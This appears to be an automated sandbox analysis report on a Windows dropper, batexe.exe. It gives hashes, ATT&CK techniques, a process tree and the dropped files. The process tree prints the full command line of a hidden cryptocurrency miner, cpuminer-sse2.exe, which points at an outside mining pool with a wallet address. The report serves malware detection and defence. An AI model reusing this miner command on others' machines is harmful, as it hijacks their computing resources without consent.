73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21-02-2024 03:14

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3920	b2e.exe
3252	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3252	cpuminer-sse2.exe
3252	cpuminer-sse2.exe
3252	cpuminer-sse2.exe
3252	cpuminer-sse2.exe
3252	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1896-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 3920	1896	batexe.exe	85
PID 1896 wrote to memory of 3920	1896	batexe.exe	85
PID 1896 wrote to memory of 3920	1896	batexe.exe	85
PID 3920 wrote to memory of 1852	3920	b2e.exe	86
PID 3920 wrote to memory of 1852	3920	b2e.exe	86
PID 3920 wrote to memory of 1852	3920	b2e.exe	86
PID 1852 wrote to memory of 3252	1852	cmd.exe	89
PID 1852 wrote to memory of 3252	1852	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\759D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1852
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe

Filesize
11.7MB

MD5
f76a1f42f66f9e22f6caaa26000dd4ed

SHA1
338305f1cc5c18d095a3ba8aacb16a1d31454627

SHA256
da9cad3db9535c5a1ee8bfe9b0fe3191553db86d9f3e143e0be557da345e42b6

SHA512
badba08ac8f803e061e8d3c723a783392ac50035a4f34c6933d839f60b9e5847705f67359bd74a9ccc79b141f5c356862b83d24e6d8d80bd2ef87589b6cce716

Download Submit
C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe

Filesize
6.0MB

MD5
de82529bc603d55d5ceb1968798de8f7

SHA1
c41b4721684f83a8acc66b4e524c9d2d1500081f

SHA256
dd28e5947f6b2fcb8ba35820fa784fcd4ca3c1cc8c572b72dd15815fccf95ddc

SHA512
1d6d5f51ddb7fa6bd50f76fc8684dd58fd95c880c869a399941840067dd91e94638fa73c3870e3a322b48b772580ae917ab9f4bb68489cd7edd667eb01a25ad9

Download Submit
C:\Users\Admin\AppData\Local\Temp\72EE.tmp\b2e.exe

Filesize
5.4MB

MD5
c76cd53e31515a28445143ae39de28fe

SHA1
5a36466f11c40303ea1a1d6eedf0a2b9061c7398

SHA256
5114585c0cbcfe97ca16c6bcc1f8351944bfc897ead124924c549f5b4a2d7329

SHA512
882f6f88fdeb9098a4727f853a4a3fefa7ba57b30e2ce05ef5d253ecf69b53bafecf68a7bd1fdc402fee320fa0fa6408ab20a0ba3fe27ea0aea062a17ff4ee1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\759D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
baec144d7278bc4faae1ad62cfb2b41e

SHA1
22501fb04105f70e93d258e890ebdf7a194e93a1

SHA256
ab577e69853305e7f1480b5ad6567662b2f24db9d1ff192c73e54347f7eab190

SHA512
b5ecc0d17cbfff2dab53fefbf8436708410b23b875fb1c4ee15f29894fbedf8630358fa674b5ed374229ee176a6f84583dd79474cada6785ad20470b1574ee3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
68b9ac5ae90127c74273f1cef7595a9e

SHA1
65958596f7fe21ea3e238c100800d787c3d21dbd

SHA256
1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

SHA512
7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
9589722479386f73ea408faa160bf0b3

SHA1
0a0c08afad3f4754095552fa51a1ff7182753389

SHA256
41dce7bf1ab5618914f249994ed2467ad0eb43a97e4607c71425b5a24dd065f1

SHA512
3ef1a9bce19dac8c00addd855126b2137dc4e0a2550fb2fa2ec33218b58c68738656c5093bda49730348ae43bc36fc9e31b9f941e2ecc3c50ef09d6571a472b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
6a00bdc5b165d7d8d2f20e5d699e59a2

SHA1
1a48773d3ca70c8a00837e6efdb514c3a5b68989

SHA256
e4743ba1725a04113407c5942255ea70de9f0dc25dc0f9cf313b30f976129bbd

SHA512
2d2ec6678159149d74a0f1cb3051c95cf4e7f2adf03ba5ae643a565f0450ac4e400b38970ba5e95bd7c8323dac7fe44b5b6999a197c4755ce492329cebcbbd95

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
5c1873d312a7573e203d205cd6505706

SHA1
94e6bbf7046bc6d8d64d3a578e63e0827624e81f

SHA256
79f93e31fb33b18994ea98f7ad7dbfc7b66562aff56b2a74c174c3cb0394c6b4

SHA512
d2896dd3896d6aa868d059dc3d7c6957fdb7f3ffef662fa68deb52f474ba0453b1f500ee92cd169d5dc3649db2db03a2267a19fa180e358799eb5188c77befb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1896-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3252-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3252-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/3252-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3252-47-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/3252-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3252-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3920-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3920-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download